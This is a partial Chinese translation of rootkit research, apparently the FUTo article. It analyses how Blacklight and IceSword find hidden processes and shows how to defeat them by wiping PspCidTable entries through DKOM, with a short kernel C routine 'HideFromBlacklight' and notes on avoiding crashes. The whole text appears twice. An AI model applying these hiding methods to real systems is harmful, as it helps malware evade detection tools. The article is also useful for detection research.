1.前言
摘要
自从介绍了FU,ROOTKIT世界就从执行系统HOOK,转移到了隐藏他们的存在。因为在攻击方面
新的改变,那么新的防御就不得被建立。新的算法被ROOTKIT检测系统采用。例如BLACKLIGHT,
就已经从原来检测ROOTKIT HOOK的存在,转变到试图找到是什么ROOTKIT正在隐藏。这篇文章将
讨论被Blacklight和IceSword用来检隐藏进程的算法。他也将展示,在ROOTKIT检测领域的缺点,
并且介绍一个基于FU的更完全的隐藏技术。
2.说明
在过去的一两年中,在ROOTKIT世界中已经有了很大的发展。最近的里程碑包括FU ROOTKIT,他
使用了Direct Kernel Object Manipulation (DKOM)
他是第一个ROOTKIT检测程序VICE的产生,,第一个主流ROOTKIT检测程序的诞生,Shadow Walker
的诞生,他是一个HOOK了memory manager进行隐藏的ROOTKIT。
3.Blacklight
这篇文章将先研究Blacklight,因为他的算法是被我所关注的。并且,IceSword采用了和
Blacklight类似的算法,因此如果在Blacklight中发现一个弱点,那么他也可能在IceSword
中存在。Blacklight占用一个USERLAND来检测进程,虽然简单,但是他的算法却是惊人的有效。
借助于,在开始时,创建TLS(ThreadLocal Storage)回收表,Blacklight产生了一个强大的反
调试特征。借助在进程对象完全创建前分流主进程,Blacklight的TLS表试图迷惑调试器。
这能被实现,因为TLS回收程序在进程完全初始化前被调用。Blacklight也有反调试措施,他能检
测到调试器对他的扫描。与其战胜反调试措施,作者更想使TSL程序失效。为了做到这个,作者使
用了一个叫LordPE的工具,他允许使用者编辑PE文件。作者使用这个工具来ZERO OUT TSL回收表,
这就使分流程序丧失了能力,并且给作者使用API监控器的可能。
你应该注意到,在使回收程序丧失能力的同时,将允许你attach一个调试器,但是当使用者在
Blacklight单击扫描时Blacklight的GUI将探测调试器并且退出。围绕着第二种反调试程序,作
者决定分析Blacklight调用过程,在最后作者将使用Rohitab API Monitor。
在测试中,你能看到调用API OpenProcess失败(tls zero is Blacklight without a TLS table)。
Blacklight试图用PID号为0x1CC, 0x1D0, 0x1D4, 0x1D8打开一个进程。在PID为0x0到0x4E1C
范围内,他调用OpenProcess来循环所有可能的PID。Blacklight保存一个表,表中包括他使用
PIDB方法能打开的所有进程。然后,他调用CreateToolhelp32Snapshot,这给了Blacklight第二
个进程表。然后Blacklight将两个表对比,看PIDB表中的进程,是否有不在被CreateToolhelp-
-32Snapshot函数返回中所产生的表中。如果有差异,这些进程就被认为是隐藏的进程,并报告给
使用者。
3.1) Windows OpenProcess
In Windows, OpenProcess是一个包装NtOpenProcess程序的函数。NtOpenProcess在内核中使用
NTOSKRNL.EXE被实现 他的函数原形是:
NTSTATUS NtOpenProcess (
OUT PHANDLE ProcessHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN PCLIENT_ID ClientId OPTIONAL);
NtOpenProcess执行三个主要的功能,
1.他检测被PsLookupProcessByProcessId调用的进程是否存在。
2.他试图给被ObOpenObjectByPointer调用的进程,开放一个句柄。
3.如果他成功的为进程打开一个句柄,他将给调用者返回那个句柄。
PsLookupProcessByProcessId是下一个研究的地方。一个突出的问题是,PsLookupProcessBy-
-ProcessId如何知道一个被给出的PID是有效的进程的一部分,答案就在下面的几行汇编码中,
PsLookupProcessByProcessId:
mov edi, edi
push ebp
mov ebp, esp
push ebx
push esi
mov eax, large fs:124h
push [ebp+arg_4]
mov esi, eax
dec dword ptr [esi+0D4h]
push PspCidTable
call ExMapHandleToPointer
从上面的汇编码中,我们清楚的知道ExMapHandleToPointer向PspCidTable询问以得到PID。
现在我们已经清晰的了解Blacklight如何检测隐藏的进程:
1.Blacklight通过一个有效的PID范围来开始一个循环,0 through 0x41DC.
2.在每个可能的PIDS上他调用OpenProcess。
3.OpenProcess调用NtOpenProcess
4.NtOpenProcessPsLookupProcessByProcessId来校验进程存在。
5.PsLookupProcessByProcessId使用PspCidTable来校验进程的存在。
6.NtOpenProcess调用ObOpenObjectByPointer来得到进程句柄。
7.如果OpenProcess成功,Blacklight将存储进程信息并继续循环。
8.如果用尽了所有可能的PID来建立进程列表。Blacklight将PIDB和创建的列表(由调用
CreateToolhelp32Snapshot所创建)进行对比,CreateToolhelp32Snapshot是一个API函数,
用来得到所有在系统运行的进程的快照。如果两个表有差别就意味着,含有隐藏进程。
3.2) The PspCidTable
The PspCidTable is a "handle table for process and thread client IDs".Every process'
PID corresponds to its location in the PspCidTable. The PspCidTable is a pointer
to a HANDLE_TABLE structure.
typedef struct _HANDLE_TABLE {
PVOID p_hTable;
PEPROCESS QuotaProcess;
PVOID UniqueProcessId;
EX_PUSH_LOCK HandleTableLock [4];
LIST_ENTRY HandleTableList;
EX_PUSH_LOCK HandleContentionEvent;
PHANDLE_TRACE_DEBUG_INFO DebugInfo;
DWORD ExtraInfoPages;
DWORD FirstFree;
DWORD LastFree;
DWORD NextHandleNeedingPool;
DWORD HandleCount;
DWORD Flags;
};
WINDOWS提供了许多无输出的函数来利用和得到PspCidTable信息。他们包括:
- [ExCreateHandleTable]建立一个无进程句柄表,
- [ExDupHandleTable]当spawning一个进程时被调用
- [ExSweepHandleTable] 被用于进程 rundown.
- [ExDestroyHandleTable] 当进程存在是被调用.
- [ExCreateHandle] 创建新的进程表入口.
- [ExChangeHandle] 在句柄上被用来改变access mask .
- [ExDestroyHandle] 执行CloseHandle的功能.
- [ExMapHandleToPointer] 返回对象相应的句柄的地址.
- [ExReferenceHandleDebugIn] 跟踪句柄.
- [ExSnapShotHandleTables]被用来句柄搜索 (for example in oh.exe).]
下面是使用无输出函数移动PspCidTable表中的一个进程对象的代码。为了无输出函数的需要,
他使用编码的地址。然而,一个ROOTKIT能找到这些函数地址。
typedef PHANDLE_TABLE_ENTRY (*ExMapHandleToPointerFUNC)
( IN PHANDLE_TABLE HandleTable,
IN HANDLE ProcessId);
void HideFromBlacklight(DWORD eproc)
{
PHANDLE_TABLE_ENTRY CidEntry;
ExMapHandleToPointerFUNC map;
ExUnlockHandleTableEntryFUNC umap;
PEPROCESS p;
CLIENT_ID ClientId;
map = (ExMapHandleToPointerFUNC)0x80493285;
CidEntry = map((PHANDLE_TABLE)0x8188d7c8,
LongToHandle( *((DWORD*)(eproc+PIDOFFSET)) ) );
if(CidEntry != NULL)
{
CidEntry->Object = 0;
}
return;
}
既然PspCidTable的工作是保持追踪所有的进程和线程,那么ROOTKIT检测器使用PspCidTable来
找到隐藏进程也是合乎逻辑的。但是,使用一个单独的数据结构不是一个很好的算法,如果
ROOTKIT改变这个数据结构,系统和另外的程序将不能找到存在的隐藏进程,新的ROOTKIT检测
程序算法应该被设计成有重叠的依靠部分,以便一个单独的改变将被识别。
4) FUTo
为了验证现有的ROOTKIT检测程序算法有缺陷,作者建立了FUTO,FUTO是一个FU ROOTKIT的新版
本。FUTO添加了不是用任何函数调用就可操作PspCidTable的功能. 他使用DKOM技术来隐藏
PspCidTable表中的特殊的对象当实现FUTO的新功能时,有一些设计上的考虑。首先,像
ExMapHandleXXX功能,PspCidTable不能被内核输出,为了克服这个,FUTO自动的检测
PspCidTable借助于寻找PsLookupProcessByProcessId函数并且分解他寻找第一个函数调用,
当写这篇文章时,第一个函数调用总是对ExMapHandleToPointer。ExMapHandleToPointer装载
PspCidTable来作为他的第一个参数,使用这个知识,就相当直接的找到PspCidTable
PsLookupProcessByProcessId:
mov edi, edi
push ebp
mov ebp, esp
push ebx
push esi
mov eax, large fs:124h
push [ebp+arg_4]
mov esi, eax
dec dword ptr [esi+0D4h]
push PspCidTable
call ExMapHandleToPointer
一个寻找PspCidTable更明智的方法应该被写出,Opc0de写了一个更好的方法来探测像
PspCidTable这样的无输出变量, PspActiveProcessHead, PspLoadedModuleList等等。
Opc0des的方法不需要像FUTO那样的内存扫描。Instead Opc0de found that the
KdVersionBlockfield in the Process Control Region structure pointed to a
structureKDDEBUGGER_DATA32. The structure looks like this:
typedef struct _KDDEBUGGER_DATA32 {
DBGKD_DEBUG_DATA_HEADER32 Header;
ULONG KernBase;
ULONG BreakpointWithStatus; // address of breakpoint
ULONG SavedContext;
USHORT ThCallbackStack; // offset in thread data
USHORT NextCallback; // saved pointer to next callback frame
USHORT FramePointer; // saved frame pointer
USHORT PaeEnabled:1;
ULONG KiCallUserMode; // kernel routine
ULONG KeUserCallbackDispatcher; // address in ntdll
ULONG PsLoadedModuleList;
ULONG PsActiveProcessHead;
ULONG PspCidTable;
ULONG ExpSystemResourcesList;
ULONG ExpPagedPoolDescriptor;
ULONG ExpNumberOfPagedPools;
[...]
ULONG KdPrintCircularBuffer;
ULONG KdPrintCircularBufferEnd;
ULONG KdPrintWritePointer;
ULONG KdPrintRolloverCount;
ULONG MmLoadedUserImageList;
} KDDEBUGGER_DATA32, *PKDDEBUGGER_DATA32;
As the reader can see the structure contains pointers to many of the commonly
needed/used non-exported variables.这是一个更好的方法来寻到PspCidTable和另外变量
第二个设计考虑有一点麻烦,当FUTO从PspCidTable移动一个对象时,HANDLE_ENTRY被NULL代
替来表示的进程不存在,当被隐藏的进程被关闭时问题就产生了。当进程被关闭时,他将索
引进入PspCidTable并且丢弃NULL对象,这将引起蓝屏。解决方法是:首先,FUTO使用
PsSetCreateProcessNotifyRoutine建立一个进程通报程序。当进程创建时回收函数将被调用
但是更重要的是他将在进程被删除是调用。回收在隐藏的进程被终止前执行。因此,他在系
统崩溃前调用。当FUTO删除包含指向流氓对象的索引时,他将保存the HANDLE_ENTRYs的值同
样也保留,索引为以后使用,当进程被关闭时,FUTO将在关闭进程前恢复对象。
(下面的是废话~~~~~~~~~~~,不翻译了
摘要
自从介绍了FU,ROOTKIT世界就从执行系统HOOK,转移到了隐藏他们的存在。因为在攻击方面
新的改变,那么新的防御就不得被建立。新的算法被ROOTKIT检测系统采用。例如BLACKLIGHT,
就已经从原来检测ROOTKIT HOOK的存在,转变到试图找到是什么ROOTKIT正在隐藏。这篇文章将
讨论被Blacklight和IceSword用来检隐藏进程的算法。他也将展示,在ROOTKIT检测领域的缺点,
并且介绍一个基于FU的更完全的隐藏技术。
2.说明
在过去的一两年中,在ROOTKIT世界中已经有了很大的发展。最近的里程碑包括FU ROOTKIT,他
使用了Direct Kernel Object Manipulation (DKOM)
他是第一个ROOTKIT检测程序VICE的产生,,第一个主流ROOTKIT检测程序的诞生,Shadow Walker
的诞生,他是一个HOOK了memory manager进行隐藏的ROOTKIT。
3.Blacklight
这篇文章将先研究Blacklight,因为他的算法是被我所关注的。并且,IceSword采用了和
Blacklight类似的算法,因此如果在Blacklight中发现一个弱点,那么他也可能在IceSword
中存在。Blacklight占用一个USERLAND来检测进程,虽然简单,但是他的算法却是惊人的有效。
借助于,在开始时,创建TLS(ThreadLocal Storage)回收表,Blacklight产生了一个强大的反
调试特征。借助在进程对象完全创建前分流主进程,Blacklight的TLS表试图迷惑调试器。
这能被实现,因为TLS回收程序在进程完全初始化前被调用。Blacklight也有反调试措施,他能检
测到调试器对他的扫描。与其战胜反调试措施,作者更想使TSL程序失效。为了做到这个,作者使
用了一个叫LordPE的工具,他允许使用者编辑PE文件。作者使用这个工具来ZERO OUT TSL回收表,
这就使分流程序丧失了能力,并且给作者使用API监控器的可能。
你应该注意到,在使回收程序丧失能力的同时,将允许你attach一个调试器,但是当使用者在
Blacklight单击扫描时Blacklight的GUI将探测调试器并且退出。围绕着第二种反调试程序,作
者决定分析Blacklight调用过程,在最后作者将使用Rohitab API Monitor。
在测试中,你能看到调用API OpenProcess失败(tls zero is Blacklight without a TLS table)。
Blacklight试图用PID号为0x1CC, 0x1D0, 0x1D4, 0x1D8打开一个进程。在PID为0x0到0x4E1C
范围内,他调用OpenProcess来循环所有可能的PID。Blacklight保存一个表,表中包括他使用
PIDB方法能打开的所有进程。然后,他调用CreateToolhelp32Snapshot,这给了Blacklight第二
个进程表。然后Blacklight将两个表对比,看PIDB表中的进程,是否有不在被CreateToolhelp-
-32Snapshot函数返回中所产生的表中。如果有差异,这些进程就被认为是隐藏的进程,并报告给
使用者。
3.1) Windows OpenProcess
In Windows, OpenProcess是一个包装NtOpenProcess程序的函数。NtOpenProcess在内核中使用
NTOSKRNL.EXE被实现 他的函数原形是:
NTSTATUS NtOpenProcess (
OUT PHANDLE ProcessHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN PCLIENT_ID ClientId OPTIONAL);
NtOpenProcess执行三个主要的功能,
1.他检测被PsLookupProcessByProcessId调用的进程是否存在。
2.他试图给被ObOpenObjectByPointer调用的进程,开放一个句柄。
3.如果他成功的为进程打开一个句柄,他将给调用者返回那个句柄。
PsLookupProcessByProcessId是下一个研究的地方。一个突出的问题是,PsLookupProcessBy-
-ProcessId如何知道一个被给出的PID是有效的进程的一部分,答案就在下面的几行汇编码中,
PsLookupProcessByProcessId:
mov edi, edi
push ebp
mov ebp, esp
push ebx
push esi
mov eax, large fs:124h
push [ebp+arg_4]
mov esi, eax
dec dword ptr [esi+0D4h]
push PspCidTable
call ExMapHandleToPointer
从上面的汇编码中,我们清楚的知道ExMapHandleToPointer向PspCidTable询问以得到PID。
现在我们已经清晰的了解Blacklight如何检测隐藏的进程:
1.Blacklight通过一个有效的PID范围来开始一个循环,0 through 0x41DC.
2.在每个可能的PIDS上他调用OpenProcess。
3.OpenProcess调用NtOpenProcess
4.NtOpenProcessPsLookupProcessByProcessId来校验进程存在。
5.PsLookupProcessByProcessId使用PspCidTable来校验进程的存在。
6.NtOpenProcess调用ObOpenObjectByPointer来得到进程句柄。
7.如果OpenProcess成功,Blacklight将存储进程信息并继续循环。
8.如果用尽了所有可能的PID来建立进程列表。Blacklight将PIDB和创建的列表(由调用
CreateToolhelp32Snapshot所创建)进行对比,CreateToolhelp32Snapshot是一个API函数,
用来得到所有在系统运行的进程的快照。如果两个表有差别就意味着,含有隐藏进程。
3.2) The PspCidTable
The PspCidTable is a "handle table for process and thread client IDs".Every process'
PID corresponds to its location in the PspCidTable. The PspCidTable is a pointer
to a HANDLE_TABLE structure.
typedef struct _HANDLE_TABLE {
PVOID p_hTable;
PEPROCESS QuotaProcess;
PVOID UniqueProcessId;
EX_PUSH_LOCK HandleTableLock [4];
LIST_ENTRY HandleTableList;
EX_PUSH_LOCK HandleContentionEvent;
PHANDLE_TRACE_DEBUG_INFO DebugInfo;
DWORD ExtraInfoPages;
DWORD FirstFree;
DWORD LastFree;
DWORD NextHandleNeedingPool;
DWORD HandleCount;
DWORD Flags;
};
WINDOWS提供了许多无输出的函数来利用和得到PspCidTable信息。他们包括:
- [ExCreateHandleTable]建立一个无进程句柄表,
- [ExDupHandleTable]当spawning一个进程时被调用
- [ExSweepHandleTable] 被用于进程 rundown.
- [ExDestroyHandleTable] 当进程存在是被调用.
- [ExCreateHandle] 创建新的进程表入口.
- [ExChangeHandle] 在句柄上被用来改变access mask .
- [ExDestroyHandle] 执行CloseHandle的功能.
- [ExMapHandleToPointer] 返回对象相应的句柄的地址.
- [ExReferenceHandleDebugIn] 跟踪句柄.
- [ExSnapShotHandleTables]被用来句柄搜索 (for example in oh.exe).]
下面是使用无输出函数移动PspCidTable表中的一个进程对象的代码。为了无输出函数的需要,
他使用编码的地址。然而,一个ROOTKIT能找到这些函数地址。
typedef PHANDLE_TABLE_ENTRY (*ExMapHandleToPointerFUNC)
( IN PHANDLE_TABLE HandleTable,
IN HANDLE ProcessId);
void HideFromBlacklight(DWORD eproc)
{
PHANDLE_TABLE_ENTRY CidEntry;
ExMapHandleToPointerFUNC map;
ExUnlockHandleTableEntryFUNC umap;
PEPROCESS p;
CLIENT_ID ClientId;
map = (ExMapHandleToPointerFUNC)0x80493285;
CidEntry = map((PHANDLE_TABLE)0x8188d7c8,
LongToHandle( *((DWORD*)(eproc+PIDOFFSET)) ) );
if(CidEntry != NULL)
{
CidEntry->Object = 0;
}
return;
}
既然PspCidTable的工作是保持追踪所有的进程和线程,那么ROOTKIT检测器使用PspCidTable来
找到隐藏进程也是合乎逻辑的。但是,使用一个单独的数据结构不是一个很好的算法,如果
ROOTKIT改变这个数据结构,系统和另外的程序将不能找到存在的隐藏进程,新的ROOTKIT检测
程序算法应该被设计成有重叠的依靠部分,以便一个单独的改变将被识别。
4) FUTo
为了验证现有的ROOTKIT检测程序算法有缺陷,作者建立了FUTO,FUTO是一个FU ROOTKIT的新版
本。FUTO添加了不是用任何函数调用就可操作PspCidTable的功能. 他使用DKOM技术来隐藏
PspCidTable表中的特殊的对象当实现FUTO的新功能时,有一些设计上的考虑。首先,像
ExMapHandleXXX功能,PspCidTable不能被内核输出,为了克服这个,FUTO自动的检测
PspCidTable借助于寻找PsLookupProcessByProcessId函数并且分解他寻找第一个函数调用,
当写这篇文章时,第一个函数调用总是对ExMapHandleToPointer。ExMapHandleToPointer装载
PspCidTable来作为他的第一个参数,使用这个知识,就相当直接的找到PspCidTable
PsLookupProcessByProcessId:
mov edi, edi
push ebp
mov ebp, esp
push ebx
push esi
mov eax, large fs:124h
push [ebp+arg_4]
mov esi, eax
dec dword ptr [esi+0D4h]
push PspCidTable
call ExMapHandleToPointer
一个寻找PspCidTable更明智的方法应该被写出,Opc0de写了一个更好的方法来探测像
PspCidTable这样的无输出变量, PspActiveProcessHead, PspLoadedModuleList等等。
Opc0des的方法不需要像FUTO那样的内存扫描。Instead Opc0de found that the
KdVersionBlockfield in the Process Control Region structure pointed to a
structureKDDEBUGGER_DATA32. The structure looks like this:
typedef struct _KDDEBUGGER_DATA32 {
DBGKD_DEBUG_DATA_HEADER32 Header;
ULONG KernBase;
ULONG BreakpointWithStatus; // address of breakpoint
ULONG SavedContext;
USHORT ThCallbackStack; // offset in thread data
USHORT NextCallback; // saved pointer to next callback frame
USHORT FramePointer; // saved frame pointer
USHORT PaeEnabled:1;
ULONG KiCallUserMode; // kernel routine
ULONG KeUserCallbackDispatcher; // address in ntdll
ULONG PsLoadedModuleList;
ULONG PsActiveProcessHead;
ULONG PspCidTable;
ULONG ExpSystemResourcesList;
ULONG ExpPagedPoolDescriptor;
ULONG ExpNumberOfPagedPools;
[...]
ULONG KdPrintCircularBuffer;
ULONG KdPrintCircularBufferEnd;
ULONG KdPrintWritePointer;
ULONG KdPrintRolloverCount;
ULONG MmLoadedUserImageList;
} KDDEBUGGER_DATA32, *PKDDEBUGGER_DATA32;
As the reader can see the structure contains pointers to many of the commonly
needed/used non-exported variables.这是一个更好的方法来寻到PspCidTable和另外变量
第二个设计考虑有一点麻烦,当FUTO从PspCidTable移动一个对象时,HANDLE_ENTRY被NULL代
替来表示的进程不存在,当被隐藏的进程被关闭时问题就产生了。当进程被关闭时,他将索
引进入PspCidTable并且丢弃NULL对象,这将引起蓝屏。解决方法是:首先,FUTO使用
PsSetCreateProcessNotifyRoutine建立一个进程通报程序。当进程创建时回收函数将被调用
但是更重要的是他将在进程被删除是调用。回收在隐藏的进程被终止前执行。因此,他在系
统崩溃前调用。当FUTO删除包含指向流氓对象的索引时,他将保存the HANDLE_ENTRYs的值同
样也保留,索引为以后使用,当进程被关闭时,FUTO将在关闭进程前恢复对象。
(下面的是废话~~~~~~~~~~~,不翻译了